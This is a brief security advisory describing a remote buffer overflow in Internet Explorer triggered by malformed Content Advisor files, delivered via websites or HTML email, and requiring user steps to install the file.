Microsoft Internet Explorer is prone to a remote buffer overflow vulnerability when handling malformed Content Advisor files. An attacker can exploit this issue by crafting a Content Advisor file with excessive data and arbitrary machine code to be processed by the browser.
A typical attack would involve the attacker creating a Web site that includes the malicious file. A similar attack can also be carried out through HTML email using Microsoft Outlook and Microsoft Outlook Express applications.
It should be noted that successful exploitation requires the user to follow various steps to install a malicious file.
